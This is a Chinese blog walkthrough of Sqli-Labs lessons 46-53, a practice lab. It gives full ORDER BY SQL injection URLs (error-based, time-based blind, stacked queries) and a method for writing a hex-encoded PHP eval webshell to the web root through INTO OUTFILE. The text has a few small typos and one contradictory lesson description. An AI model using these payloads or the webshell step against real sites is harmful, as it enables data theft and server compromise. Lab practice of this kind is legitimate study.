Sqli-Labs less46-53

less-46

前置基础知识:

select * from users order by 1 desc ;使用降序(倒序)排列

select * from users order by 1 asc ;使用升序(正序)排列

 

select right(database(),1);从右至左输出第一个字母

select lesft(database(),1);从左至右输出第一个字母

 

lines terminated by 666  每行输出以666结尾

 

第46关和之前的不同/根据提示可以看到让输入sort,观察源码并加上输出语句,实际上输入查询的还是id:

 

 

 然后输出?sort=1可以得出user表的信息,并可以排序:http://192.168.0.106:300/Less-46/?sort=1 desc

 

 

 

 

下面通过两种办法拿到数据库的其他信息:

 

第一种办法:报错注入

http://192.168.0.106:300/Less-46/?sort=1 and updatexml (1, concat(0x7e,database()) ,1)

其他省略

 

 

第二种办法:延时注入

http://192.168.0.106:300/Less-46/?sort=1 and if(length(database())=8  ,1,sleep(5))

 

 

 二种办法都可以在database()处构造语句。

 

less-47

基本与46关相同,就是order by ‘1’

闭合的sql语句变成了:

第一种办法:报错注入

http://192.168.0.106:300/Less-47/?sort=1‘ and updatexml (1, concat(0x7e,database()) ,1) --+

 

 

 

第二种办法:延时注入

http://192.168.0.106:300/Less-47/?sort=1’ and if(length(database())=8  ,1,sleep(5))--+

less-48

 

基本与46关相同,但是这一关没有错误的回显,所以只能用盲注的办法:

延时盲注

 

http://192.168.0.106:300/Less-48/?sort=1 and if(length(database())=8  ,1,sleep(5))

 

 

 先判断长度,再判断内容,以下省略

 

 

less-49

基本与46关相同,就是order by ‘1’,然后不显示报错,所以也可以用盲注的办法:

延时注入

 

http://192.168.0.106:300/Less-49/?sort=1‘ and if(length(database())=8  ,1,sleep(5)) --+

 

 

 其他步骤相同

 

 

less46-49的其他打开方式:使用函数写入一句话木马

这里以46关为例,我们首先使用outfile函数:

http://192.168.0.105/sqli-labs/Less-46/?sort=1 and (select '<php @eval($_POST["crow"];?>') into outfile 'C:\\PhpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-46\\mm.php' --+

 

 

 

 

 

 可以看到文件虽然已经有了,但是并没有一句话木马,所以也不能使用菜刀链接。

但是我们现在可以使用文章开头提到的line terminal by 语句进行输入:(最后是一句话16进制形式)

http://192.168.0.105/sqli-labs/Less-46/?sort=1 into outfile 'C:\\PhpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-46\\mm2.php' lines terminated by 0x3c70687020406576616c28245f504f53545b2263726f77225d3b3f3e

 

 

 

 

可以看到,输出的每一行都写入了一句话木马,这样就可以用菜刀进行连接。

 

less-50

这一关大同小异:

方法一:延时注入

方法二:报错注入

方法三:写入一句话木马  以上三种方法参考上面。

方法四:使用堆叠注入创建新的users表:

http://192.168.0.105/sqli-labs/Less-50/?sort=1;create table hzk50 like users;insert into hzk50 select * from users;

 

 

 

 方法五:使用堆叠注入写入一句话木马。

以上方法都可以,具体参考前几关的文章。

 

less-51

和50关基本相同,order by ’1‘语句数据包裹形式不同

方法一:延时注入

方法二:报错注入

方法三:写入一句话木马  以上三种方法参考上面。

方法四:使用堆叠注入创建新的users表。

 方法五:使用堆叠注入写入一句话木马。

 

less-52

和50关基本相同,但是输出报错信息,所以不能用报错注入。

方法一:延时注入

方法二:写入一句话木马  以上三种方法参考上面。

方法三:使用堆叠注入创建新的users表。

 方法四:使用堆叠注入写入一句话木马。

 

less-53

 

和50关基本相同,order by ’1‘语句数据包裹形式不同,而且没有输出报错信息的语句,所以不能用报错注入。

 

方法一:延时注入

 

方法二:写入一句话木马  以上三种方法参考上面。

 

方法三:使用堆叠注入创建新的users表。

 

 方法四:使用堆叠注入写入一句话木马。

 

posted @ 2020-01-28 21:12  N0r4h  阅读(280)  评论(0编辑  收藏  举报